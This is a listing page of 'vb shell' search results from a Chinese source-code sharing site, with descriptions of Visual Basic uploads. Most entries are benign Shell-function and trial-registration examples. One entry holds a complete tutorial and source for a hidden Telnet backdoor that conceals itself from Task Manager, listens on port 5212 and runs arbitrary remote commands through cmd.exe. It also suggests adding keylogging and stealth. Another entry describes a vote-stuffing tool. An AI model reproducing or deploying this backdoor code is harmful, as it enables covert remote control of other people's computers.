Welcome![Sign In][Sign Up]
Location:
Search - vb shell

Search list

[OS program一个加壳工具和原代码(VB)

Description: 一个加壳工具和原代码 -a shell tools and a shell-source tools and source code a shell tools and a shell-source tools and the original code
Platform: | Size: 106507 | Author: BIU | Hits:

[OtherVB-shell

Description: VB中使用shell时会有一些需要注意的地方,这是一些实例程序
Platform: | Size: 2176 | Author: 林风 | Hits:

[Special EffectsVBDCRAW_CODE_V0.91A

Description: 基于dcraw的VB shell,用于raw文件破解
Platform: | Size: 24259 | Author: tianlixun | Hits:

[OtherText-Shell

Description: VB写的工具,主要用于加入一个Shell,防止出现意外丢失密码的情况
Platform: | Size: 2092 | Author: wwwwqwe | Hits:

[WinSock-NDISVB注册码代码示例

Description: 软件限时使用与注册功能的实现 众所周知,一些共享软件往往提供给使用者的是一个功能不受限制的限时使用版,在试用期内使用者可以无限制的使用软件的全部功能(只是可能会出现提示使用者注册的窗口),试用期一过部分(或全部)功能失效,要想继续使用只能向作者索取注册码(或注册文件)完成对软件的合法注册,注册后的软件将解除一切使用限制。如果您也开发出一个有价值的作品,是否也希望为自己的软件增加一个这样的功能呢?这里笔者就提供一个实现软件限时的完整代码。   软件启动后会首先运行本代码并从注册表HKEY_LOCAL_MACHINE\Software\MyProgram子键下的三个键值MyProgram1-3中读取键值数据。其中MyProgram2的值是软件首次运行日期,MyProgram3的值是软件当前运行时的日期,MyProgram1的值是软件的使用标志:如果软件在试用期内则其值为字符串sign1;如果软件试用期满则其值为字符串sign2,如果软件已经注册则其值为字符串sign3。全局变量ZHUCE依据读取的MyProgram1键值而赋值:ZHUCE=-1说明试用期满,ZHUCE=-2说明软件已注册,ZHUCE=其它值为剩余天数,您的主程序代码要依据此全局变量ZHUCE的值设计相应的交互响应。   为方便您将代码嵌入现存的程序代码中,本示例将全部代码写入一个模块.bas中(模块名随意,也可添加到已有模块中)。注意,代码中的Private Sub Main()过程为整个程序的启动入口,您需要在“工程属性”对话框中将“启动对象”设置为“Sub Main()”。 '通用模块 Global ZHUCE As Integer '说明:全局变量ZHUCE=-1试用期满,ZHUCE=-2已注册,ZHUCE=其它值为剩余天数 Declare Function RegOpenKeyEx Lib "advapi32" Alias "RegOpenKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, ByRef phkResult As Long) As Long Declare Function RegQueryValueEx Lib "advapi32" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, ByRef lpType As Long, ByVal lpData As String, ByRef lpcbData As Long) As Long Declare Function RegCloseKey Lib "advapi32" (ByVal hKey As Long) As Long Private Sub Main()'程序总入口 Dim a As Long, rc(3) As Long, hKey As Long, KeyValType As Long, KeyValSize(3) As Long Dim c As String, h As String, tmpVal(3) As String Dim datetime As Integer datetime = 30'试用期天数 ZHUCE = -1 On Error GoTo cuowu '以下从注册表HKEY_LOCAL_MACHINE\Software\MyProgram的三个值中取出相关数据字串tmpVal(3) a = RegOpenKeyEx(&H80000002, "Software\MyProgram", 0, 131135, hKey) ' 打开注册表关键字 For a = 1 To 3: tmpVal(a) = String$(1024, 0): KeyValSize(a) = 1024: Next rc(1) = RegQueryValueEx(hKey, "MyProgram3", 0, KeyValType, tmpVal(1), KeyValSize(1)) rc(2) = RegQueryValueEx(hKey, "MyProgram2", 0, KeyValType, tmpVal(2), KeyValSize(2)) rc(3) = RegQueryValueEx(hKey, "MyProgram1", 0, KeyValType, tmpVal(3), KeyValSize(3)) For a = 1 To 3 If (Asc(Mid(tmpVal(a), KeyValSize(a), 1)) = 0) Then tmpVal(a) = Left(tmpVal(a), KeyValSize(a) - 1) Else tmpVal(a) = Left(tmpVal(a), KeyValSize(a)) End If Next a = RegCloseKey(hKey) '关闭注册表 '使用期限判断 If tmpVal(3) = "sign3" Then ZHUCE = -2: Exit Sub '查找到已注册标志sign3 If Len(tmpVal(1)) = 1023 And Len(tmpVal(2)) = 1023 And Len(tmpVal(3)) = 1023 Then '首次使用,将当前日期分别写入tmpVal(1)和tmpVal(2)中,在tmpVal(3)中写入准许运行标志sign1 CreateObject("WScript.Shell").regWrite "HKEY_LOCAL_MACHINE\Software\MyProgram\MyProgram3", Date$, "REG_SZ" CreateObject("WScript.Shell").regWrite "HKEY_LOCAL_MACHINE\Software\MyProgram\MyProgram2", Date$, "REG_SZ" CreateObject("WScript.Shell").regWrite "HKEY_LOCAL_MACHINE\Software\MyProgram\MyProgram1", "sign1", "REG_SZ" ZHUCE = datetime MsgBox "试用期剩余" & Trim(datetime) & "天" Else If tmpVal(3) = "sign2" Then '查找到永久中止标志sign2中止使用 ZHUCE = -1 Exit Sub MsgBox "试用期已满,请您注册!" End If If Date datetime Then '使用期超过datetime天中止使用 '写入tmpVal(3)中止使用字串sign2 CreateObject("WScript.Shell").regWrite "HKEY_LOCAL_MACHINE\Software\MyProgram\MyProgram1", "sign2", "REG_SZ" ZHUCE = -1 MsgBox "试用期已满,请您注册!" Else '写入当前日期于tmpVal(2)中 CreateObject("WScript.Shell").regWrite "HKEY_LOCAL_MACHINE\Software\MyProgram\MyProgram2", Date$, "REG_SZ" ZHUCE = datetime - (DateValue(Date) - DateValue(tmpVal(1))) MsgBox "试用期剩余" & Trim(datetime) & "天" End If End If End If cuowu: End Sub   从安全保密角度出发,当您应用上述代码时紫色部分应该根据您个人的保密设想进行必要的修改(当然您也可以不修改而直接应用):①示例中的代码把软件的注册与运行信息保存在HKEY_LOCAL_MACHINE\Software\MyProgram子键下的MyProgram1-3三个键值内,请根据您个人的保密原则修改为您所需要的子键名,以隐蔽为原则!②MyProgram1键值中的数据(字符串sign1或sign2或sign3分别对应着试用/期满/注册)应根据您个人的保密设想修改成需要的字符串,也以隐蔽为原则!   主程序中当用户输入正确的注册码(注册码当然是您随意愿而设)后,请执行语句: CreateObject("WScript.Shell").regWrite "HKEY_LOCAL_MACHINE\Software\MyProgram\MyProgram1", "sign2", "REG_SZ" 完成软件注册。(该行代码中的Software\MyProgram\MyProgram1和sign2请与上述代码保持一致!)
Platform: | Size: 18051 | Author: dianfeng | Hits:

[OtherVB.NET解压与解压

Description: 用VB.NET2008编写,利用线程技术外调WinRAR,解压与解压文件。普通的用Shell方式外调WinRAR,是无法准确掌握压缩完成和解压完成时间的。
Platform: | Size: 149212 | Author: huyanhua999@126.com | Hits:

[Network DevelopVB Telnet编程指导思路

Description:

vB编程之TELNET
对于TELNET后门的编写我们可通过VC来编写,网上也有很多的关于用VC编写TELNET后门的源码。但是看X档案的一定不少是喜欢VB来编写程序的。纵然编写TELNET后门不是VB的长项,但这不并难实现。偶没见网上有用VB编写TELNET后门的文章,所以我就写下了此文,确切的说,
这不是个真正后门,只是一个后门的基本模型,甚至可以说毛坯。BUG的修改,不足的修补,功能的扩充还需读者动手来实现。
首先,我们在大脑里想象出一个后门运行的过程或者把其大概的流程画出来,然后就按这个过程逐步来实现。好了,
下面就开始我们的后门编写之路。首先就是当程序运行时防止再一个程序的运行,实现代码如下:
Private Sub Form_Load()
syspath = systempath()
'防止多个程序运行
If App.PrevInstance Then
End
End If
cmdno = True
'使程序不在任务管理器中显示
App.TaskVisible = False
'监听端口5212
Winsock1.LocalPort = 5212
Winsock1.Listen
End Sub
其次,当telnet端请求连接时,服务端接受请求。(大家可以在此试着实现密码验证机制的实现,很简单,在此不再给出代码)
当TELNET连接时,触发ConnectionRequest事件,在这个事件中向控制端发送相应的成功连接和帮助信息。
Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
If Winsock1.State <> sckClosed Then
Winsock1.Close
Winsock1.Accept requestID
Winsock1.SendData "------------------------backdoor v1.0-------------------------" & vbCrLf & _
Space(16) & "code by eighteen" & vbCrLf & "-------------------------------------------------------------" & _
vbCrLf & "type help to get help" & vbCrLf & "shell>"
End If
End Sub
当我们连接上时,就需要对TELNET发来的命令进行一系列的处理和执行,以及执行相关的控制功能。
其中的问题是服务端接受来自TELNET客户端的连接和命令,由于TELNET传输命令时只能每间次传输一个字符的特殊性,
所以我们需要编写一个处理命令的过程,这个不难实现。还有就是对特殊字符的过滤和处理,如TELNET输入错误按DEL键,
按ENTER键来完成一条命令的输入。当TELNET连上服务端时,实现shell功能,以及shell功能和其它功能的分离。
对其中的问题有了大概的了解,那实现起来也就不难了。代码如下:
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim str1 As String
Dim scmd As String
Dim i As Integer
Dim tag As Integer
Winsock1.GetData str1
'过滤del键盘,用来telnet命令输入错误处理.如果输入del键盘,则当前命令无效
If Asc(str1) = 8 Then
myname = "" '清空命令存储
Winsock1.SendData vbCrLf & "shell>"
End If
'检察当前一个命令的完整性和对命令输入错误的处理
If (Asc(str1) <> 13) And (Asc(str1) <> 8) Then
myname = myname + str1
Elseif Asc(str1) <> 8 Then
'测试时,查看接受的命令
Text1.Text = myname & vbcrlf
myname = "" '清空对当前命令的存储,用来接受下一条命令
'--------下面是对接受命令的处理
tag = InStr(Text1.Text, Chr(13)) - 1
scmd = Left(Text1.Text, tag)
'------------------------------
'判断是不是在虚拟shell中,不是则执行如下命令,否则执行虚拟shell命令语句
If cmdno = True Then
Select Case scmd
Case "help"
Winsock1.SendData "cmd     -------打开shell" & vbCrLf & "reboot     -------重启" & _
vbCrLf & "shutdown   ------- 关机" & vbCrLf & "exit     -------退出" & vbCrLf & "shell>"

Case "reboot"
ExitWindowsEx EXW_REBOOT, 0

Case "shutdown"
ExitWindowsEx EXW_SHUTDOWN, 0
Case "exit"
Winsock1.SendData "exit seccessful!"
Winsock1.Close
Winsock1.Listen
Case "cmd"
Winsock1.SendData "获得虚拟shell成功!" & vbCrLf & "vcmd>"
cmdno = False
Case Else
Winsock1.SendData "cammond error!" & vbCrLf & "shell>"
End Select
Else
Shell "cmd.exe /c" & Space(1) & scmd & Space(1) & ">" & syspath & "\shell.rlt&exit", vbHide
Sleep (500)
'调用执行结果发送过程
Call tranrlt
Winsock1.SendData "如果想退出虚拟shell,清输入exit" & vbCrLf & "vcmd>"
If scmd = "exit" Then
Winsock1.SendData "成功退出虚拟shell!" & vbCrLf & "shell>"
cmdno = True '重置虚拟shell标志
End If
End If
End If
End Sub
接下来要考滤的是,虚拟shell的实现,我用了一个简单的方法,就是把命令执行结果写入一个文本文档,然后读取其中的内
容并将结果发送给控制端。代码如下:
Sub tranrlt()
Dim strrlt As String
Open syspath & "\shell.rlt" For Input As #1
Do While Not EOF(1)
Line Input #1, strrlt
Winsock1.SendData strrlt & vbCrLf
Loop
Close #1
Winsock1.SendData "----------------------------------------------------" & vbCrLf
Shell "cmd.exe /c del " & syspath & "\shell.rlt&exit", vbHide
End Sub
至此,后门的主要问题都解决了,也许有的读者可以看出,这个后门模型存在问题。的确,这个后门模型并不完整,
所谓学而三思,思而后行,剩下的问题读者可以试着去解决。在此我不在给出源码。提示一下:
(1)如果TELNET不正常退出,服务端还会继续保存当前的会话,重新连接后失败。还有就是如何可以允许多人同时连接功能。
(2)读者可以加上密码验证机制,在此基础上扩大它的控制功能,如键盘记录,文件上传等。
(3)一个成功的后门,必然有一个好的隐藏和自我保护机制,所以,大家需要努力发挥自己的聪明和才智了。
以上只是个人愚见,不难实现。其实程序编写只有深入其中,动手实践,才会发现各种问题,而正是在这发现问题,解决问题的过程中,
你会学到更多,成功后的满足也更多。当我们苦苦思索解决一个问题或实现一种新方法和功能时,那种豁然开朗,
成功的喜悦会让你体会编程的乐趣。希望大家看完本文和在动手来完善它的时候,能学到些知识和技巧,那本文的目的也就达到了。

_____________--源码
Public syspath As String
Public cmdno As Boolean
Private Declare Sub Sleep Lib "kernel32" (ByVal nsecond As Long)
Private Declare Function ExitWindowsEx Lib "user32" (ByVal uFlags As Long, ByVal dwReserved As Long) As Long
Private Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Const EWX_REBOOT = 2
Const EWX_SHUTDOW = 1
Public myname As String
Sub tranrlt()
Dim strrlt As String
Open syspath & "\shell.rlt" For Input As #1
Do While Not EOF(1)
Line Input #1, strrlt
Winsock1.SendData strrlt & vbCrLf
Loop
Close #1
Winsock1.SendData "----------------------------------------------------" & vbCrLf
Shell "cmd.exe /c del " & syspath & "\shell.rlt&exit", vbHide
End Sub
Function systempath() As String
Dim filepath As String
Dim nSize As Long
filepath = String(255, 0)
nSize = GetSystemDirectory(filepath, 256)
filepath = Left(filepath, nSize)
systempath = filepath
End Function
Private Sub Form_Load()
syspath = systempath()
If App.PrevInstance Then
End
End If
cmdno = True
App.TaskVisible = False
Winsock1.LocalPort = 5212
Winsock1.Listen
End Sub
Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
If Winsock1.State <> sckClosed Then
Winsock1.Close
Winsock1.Accept requestID
Winsock1.SendData "------------------------backdoor v1.0-------------------------" & vbCrLf & _
Space(16) & "code by eighteen" & vbCrLf & "-------------------------------------------------------------" & _
vbCrLf & "type help to get help" & vbCrLf & "shell>"
End If
End Sub

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim str1 As String
Dim scmd As String
Dim i As Integer
Dim tag As Integer
Winsock1.GetData str1
If Asc(str1) = 8 Then
myname = ""
Winsock1.SendData vbCrLf & "command error!" & vbCrLf & "shell>"
End If
If (Asc(str1) <> 13) And (Asc(str1) <> 8) Then
myname = myname + str1
ElseIf Asc(str1) <> 8 Then
Text1.Text = myname & vbCrLf
myname = ""
tag = InStr(Text1.Text, Chr(13)) - 1
scmd = Left(Text1.Text, tag)
If cmdno = True Then
Select Case scmd
Case "help"
Winsock1.SendData "cmd     -------打开shell" & vbCrLf & "reboot     -------重启" & _
vbCrLf & "shutdown   ------- 关机" & vbCrLf & "exit     -------退出" & vbCrLf & "shell>"

Case "reboot"
ExitWindowsEx EXW_REBOOT, 0

Case "shutdown"
ExitWindowsEx EXW_SHUTDOWN, 0
Case "exit"
Winsock1.SendData "exit seccessful!"
Winsock1.Close
Winsock1.Listen
Case "cmd"
Winsock1.SendData "获得虚拟shell成功!" & vbCrLf & "vcmd>"
cmdno = False
Case Else
Winsock1.SendData "command error!" & vbCrLf & "shell>"
End Select
Else
Shell "cmd.exe /c" & Space(1) & scmd & Space(1) & ">" & syspath & "\shell.rlt&exit", vbHide
Sleep (500)
Call tranrlt

Winsock1.SendData "如果想退出虚拟shell,清输入exit" & vbCrLf & "vcmd>"
If scmd = "exit" Then
Winsock1.SendData "成功退出虚拟shell!" & vbCrLf & "shell>"
cmdno = True
End If
End If
End If
End Sub

Private Sub Winsock1_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
Winsock1.Close
Winsock1.Listen
End Sub


Platform: | Size: 8205 | Author: onetwogoo | Hits:

[Other resourceAutoCAD ActiveXVBA二次开发技术基础及应用实例

Description: 1) 《源程序》文件夹 (1)Acad_firstVBA.dvb(VBA引例) (2)Acad_VBA画圆.dvb(VBA示例) (3)Pjfq.vbp(VB引例:简易加法器) (4)Pjsq.vbp(VB引例:简易计算器) (5)Pshell.vbp(应用shell函数调绘制齿轮、带轮和轴的可执行文件) (6)L3-1.vbp(综合示例:创建对AutoCAD部件引用) (7)L4-1.vbp(综合示例:控制AutoCAD环境和组织图形元素) (8)L5-1.vbp(综合示例:图形对象创建与编辑) (9)L5-2.vbp(综合示例:生成带键槽的轴剖面) (10)L6-1.vbp(综合示例:在三维空间工作) 2)《应用程序》文件夹 (1)Lchi-1ad.exe(圆柱齿轮零件图,适用于 AutoCAD 2004/05/06) (2)Lchi-1ad-R15.exe(圆柱齿轮零件图,适用于 AutoCAD 2000/2002) (3)Lzhui-1.exe(圆锥齿轮零件图,适用于 AutoCAD 2004/05/06) (4)Lzhui-1-R15.exe(圆锥齿轮零件图,适用于 AutoCAD 2000/2002) (5)Lzhou-1b.exe(轴零件图,适用于 AutoCAD 2004/05/06) (6)Lzhou-1b-R15.exe(轴零件图,适用于 AutoCAD 2000/2002) (7)Ldai-1ac.exe(带轮零件图和三维实体,适用于 AutoCAD 2004/05/06) (8)Ldai-1ac-R15.exe (带轮零件图和三维实体,适用于AutoCAD2000/2002) (9)Pshell.exe(应用shell函数调绘制齿轮、带轮和轴的可执行文件) (适用于 AutoCAD 2004/05/06) (10)通用样板图(包括:acad.dwt,acadiso.dwt,Gb_a3 -Named Plot Style.dwt等) (11)专用样板图(包括:GB_A3 zhu.dwt,GB_A3 vdai.dwt,GB_A2 zhui.dwt等) (12)程序运行时调入的插图(包括:zhou-LG.bmp和zhou-RG.bmp等)
Platform: | Size: 992643 | Author: saikyo1987@163.com | Hits:

[Other resource通过SHELL刷票

Description: 此文件为VB代码,简单的通过SHELL函数,通过路径操作IE,进行刷票,同时使用TASKKILL命令,结束IE进程
Platform: | Size: 1515 | Author: kevin145@163.com | Hits:

[OtherWindows脚本使用举例

Description: Windows shell file(wsf)文件构建举例,它可同时使用VB Script和Java Script,以及如何在.js文件中定义java常量的举例。
Platform: | Size: 747 | Author: BigPenguin | Hits:

[Crack HackDES算法源代码

Description: 除了上面提到的压缩方法,你也可以调用VB的工具MakeCab.exe(在VB5\setupkit\kitfil32或VB98\Wizards\PDWizard目录下)生成.cab文件。先构造一个Directive 文件(*.ddf),然后使用Shell命令调用MakeCAB /f excel.ddf就可以生成*.cab文件。关于Directive 文件的格式,可以参考MSDN Library中的《MakeCAB: A Compression and Disk Layout Tool》一文。 -addition to the above-mentioned methods of compression, you can call VB Tools MakeCab.exe (VB5 \ setupkit \ kitfil32 or VB98 \ Wizards \ PDWizard directory) production. Cab document. First constructed a Directive document (*. DDF), then use the Shell order call MakeCAB/f excel.ddf can generate*. cab documents. Directive on the document format, they can refer to the MSDN Library "MakeCAB : A Disk Compression and Layout Tool," a text.
Platform: | Size: 4096 | Author: 田强 | Hits:

[OS program一个加壳工具和原代码(VB)

Description: 一个加壳工具和原代码 -a shell tools and a shell-source tools and source code a shell tools and a shell-source tools and the original code
Platform: | Size: 106496 | Author: BIU | Hits:

[File Operateshellfunction

Description: shell 函数的使用,非常有用,vb编程常用,我将之奉献!欢迎访问我的主页 http://petri.blogchina.com-shell function, very useful, vb programming commonly used to be my dedication! Welcome to My Home http://petri.blogchina.com
Platform: | Size: 2048 | Author: 王大令 | Hits:

[OtherVB-shell

Description: VB中使用shell时会有一些需要注意的地方,这是一些实例程序-VB using shell when there will be some need to pay attention to place, this is some examples of procedures
Platform: | Size: 2048 | Author: 林风 | Hits:

[OtherVb_Shell_Programming

Description: Visual Basic Shell Programming ventures where none have gone before by showing how to develop shell extensions that more closely integrate an application with the Windows shell, while at the same time providing an advanced tutorial-style treatment of COM programming with Visual Basic. Each major type of shell extension gets attention, including customized context menu handlers, per instance icons, and customized property sheets.
Platform: | Size: 1038336 | Author: zy | Hits:

[GDI-Bitmapshell

Description: 截获dos控制台输出到屏幕信息的vb源代码,这个比较难,我搞了一周才弄出来,希望大家有用-Tihis is a vb code for geting information of dos screen output
Platform: | Size: 36864 | Author: jason | Hits:

[Windows Developvbsource

Description: vb参数调用,关闭按钮禁用,shell程序或文件的打开和关闭(txt,exe为例)-vb call parameters, to disable the Close button, shell program or file to open and close the (txt, exe for example)
Platform: | Size: 2048 | Author: 力王 | Hits:

[Windows DevelopVB

Description: 用vb编写的有限元程序 Visual Basic Programs - 每一个Visual Basic project包括三个文件,采用同一个文件名,但扩展名分别为.vbp, .vbw, .frm - 扩展名为.frm的文件包含格式信息和源代码 - 需要将所有三个文件放在你的同一个工作目录中 -With the finite element program written in vb Visual Basic Programs- A Visual Basic project, including each of the three documents, using the same file name, but the extensions were. Vbp,. Vbw,. Frm- extension. Frm file contains the format information and source code- need all three files in your working directory with a
Platform: | Size: 109568 | Author: huanghai | Hits:

[Shell apiVB-Shell-Programming

Description: VB Shell Programming
Platform: | Size: 1050624 | Author: JDW | Hits:

[ERP-EIP-OA-Portalvb-ERP

Description: 碧海蓝天生产管理系统ERP源代码通过vb的shell方法,调用外部命令。如sqlserver的osql实用工具,但是这样的话,osql执行的sql脚本可能需要花费很长的时间,如何才能保证osql执行完所有的sql之后,才继续执行vb的下一步处理呢? 1.声明2个API,用来检测进程是否在运行。 Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long '************************************************************************ '【名称】:判断进程是否在运行 '【描述】: '【备注】: '************************************************************************ Function IsRunning(ByVal ProgramID) As Boolean '传入进程标识ID-Blue sky production management system, ERP source code 通过vb的shell方法,调用外部命令。如sqlserver的osql实用工具,但是这样的话,osql执行的sql脚本可能需要花费很长的时间,如何才能保证osql执行完所有的sql之后,才继续执行vb的下一步处理呢? 1.声明2个API,用来检测进程是否在运行。 Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long '************************************************************************ '【名称】:判断进程是否在运行 '【描述】: '【备注】: '************************************************************************ Function IsRunning(ByVal ProgramID) As Boolean '传入进程标识ID
Platform: | Size: 4699136 | Author: 莫逆 | Hits:
« 12 3 4 5 6 »

CodeBus www.codebus.net